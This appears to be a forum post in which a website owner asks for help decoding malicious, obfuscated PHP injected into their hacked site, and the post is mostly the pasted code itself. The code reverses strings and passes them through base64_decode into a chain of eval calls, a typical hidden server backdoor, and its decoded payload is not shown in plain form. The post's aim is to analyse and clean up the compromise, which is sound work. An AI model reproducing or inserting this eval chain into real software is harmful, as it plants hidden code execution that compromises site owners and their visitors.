This is the case. My website got hacked and injections took place with encoded code. I tried to figure out how to decode it all but I am out of ideas. I need to figure out what was going on here and hope someone is willing to help me. The code is here: if ($evalZjhGYTfoFIetGo != 34517) {function evalJHIOkgzInSMJH($s){for ($a = 0; $a <= strlen($s)-1; $a++ ){$e .= $s{strlen($s)-$a-1};}return($e);}eval(evalJHIOkgzInSMJH(')"=sTKwgyZulGdy9GclJ3Xy9mcyVGQ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(')"=ASf7kCaYlEe4NGZjF0ayFFbhZXZkgSZk92YlR2X0YTZzFmYg4mc1RXZytHIpgGWJhHejR2YBtmcRxWY2VGJoYEWJFGVZdWeQtEbhZXZg42bpR3YuVnZ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(')"==wOpISPNJTWigiRYlUYUl1Z5B1SsFmdlBSPgYVQ59kZmZUWtdHUixWY2VGJ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(')"7kiI90ESkhmUzMmIoYEWJFGVZdWeQtEbhZXZ9s2QR1UcqFFUhllYHxWY2VGJ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(')"7kiI90TQjBjUIFmIoYEWJFGVZdWeQtEbhZXZ9MkZk5UbBFFVmZFVmZ3Q6xWY2VGJ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(')"=sTKi0DNXFmIoYEWJFGVZdWeQtEbhZXZ98EenNVbOp1US9GSLJlbwxWY2VGJ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(')"==wOpISP9EVS2R2VJJCKGhVShRVWnlHULxWY2VWP6d0Yk1UZz1WaDllQi1GarxWY2VGJ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(')"==wOdliIVVTVShkRwg1UWBTVWljRVVlUGNlIoYEWJFGVZdWeQtEbhZXZbJVRWJVRT9FJ9U1Trt0arJWazFmcIxWY2VGJ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(')"=sTKpISP9c2YshXbZRnRtVlIoYEWJFGVZdWeQtEbhZXZgwSKiQjVHpVdGd1VigiRYlUYUl1Z5B1SsFmdlBCLpISPJhlWyw2RhpmSYllZGdVYigiRYlUYUl1Z5B1SsFmdlBCLpICM50WUP5kVUJCKGhVShRVWnlHULxWY2VGIskiI9EkbjFDeyUlIoYEWJFGVZdWeQtEbhZXZgwSKiwGeyold5IjUigiRYlUYUl1Z5B1SsFmdlhSehJnchBSPg0Ua0ZWTKREephHcq52SSxWY2VGJ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(')"==wOWFUePZmZGlVb3BlYsFmdlRSPuAnaCpUV5RGWsNGbhZXZkASKgsyKpRCI7gDI9wDIpRCI7ADI9ASakgCIy9mZ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(')"=sTKpISP9ElZ3sWejt2Z5NGM1clWwUjMipWOGRGbkJDWsh3Vh1mQFlUdKhFZwYVbjdjQTtkeSN0SNlzaadnSsVGNoV0VCZFbkdnVHJGaahlWnRjMiBnUzkVdW5mWigiRYlUYUl1Z5B1SsFmdlhCbhZXZ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(')"==wOWFUePZmZGlVb3BlYsFmdlRiLi4iI94CIwpmQKVVekhFbjxWY2VGJ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(')"=0Xf7MGWFpmbXpWZjRmWOlEbhZXZkAyboNWZ70VMbNGWFpmbXpWZjRmWOlEbhZXZkASPgMGWFpmbXpWZjRmWOlEbhZXZkAyOpMGWFpmbXpWZjRmWOlEbhZXZkwieHNGZNV2ctl2QZJkYth2asFmdlRCKlR2bsBHelBSPgMGWFpmbXpWZjRmWOlEbhZXZksXKpo3RjRWTlNXbpNUWCJWbotGbhZXZkwyYYVkaudlalNGZa5USsFmdlRCKyR3cyR3coAiZptTKp0VKiUlTxQVS5YUVVJlRTJCKGhVShRVWnlHULxWY2V2WSVkVSV0UfRCKlR2bj5WZsJXdukiI5cWbKJCKGhVShRVWnlHULxWY2VmLpU1Trt0arJWazFmcIxWY2VGJoUGZvNmblxmc15SKikTStpkIoYEWJFGVZdWeQtEbhZXZu0VKi0TSGJVRGBDWGJVMU5kVrVlIoYEWJFGVZdWeQtEbhZXZbJVRWJVRT9FJukiI9ADVhJCKGhVShRVWnlHULxWY2VmLpISP4Q0YigiRYlUYUl1Z5B1SsFmdl5SKi8mQuxkIoYEWJFGVZdWeQtEbhZXZu8EenNVbOp1US9GSLJlbwxWY2VGJukiI90zdMJCKGhVShRVWnlHULxWY2VmLwpmQKVVekhFbjxWY2VGJukiI9gTeMJCKGhVShRVWnlHULxWY2VmLpISP9c2TigiRYlUYUl1Z5B1SsFmdl5yQmRmTtFUUUZmVUZmdDpHbhZXZkgCTPZGcSpHeIhVQVZHclxWY2VGI9AyYYVkaudlalNGZa5USsFmdlRCI7kCMwgDMxsSKoUWbpRHLpkiI90ESkhmUzMmIoYEWJFGVZdWeQtEbhZXZoUDZtxyaDFVTxpWUQFWWidEbhZXZkgSZpt2bvNGdlNHQgsHIlNHblBSf7BSKpkSXrNUUNFnaRBVYZJ2RsFmdlRyWFl0SP90QfRCK0V2czlGKgI3bgkSKV90aLt2ail2chJHSsFmdlRCIsISavICIuASKNlGdm1kSEhXa4BnautkUsFmdlRCIsICfigSZk9Gbw1Wag4CIi8iIog2Y0FWbfdWZyBHKoYWa"(edoced_46esab(lave'));$evalZjhGYTfoFIetGo =34517;}
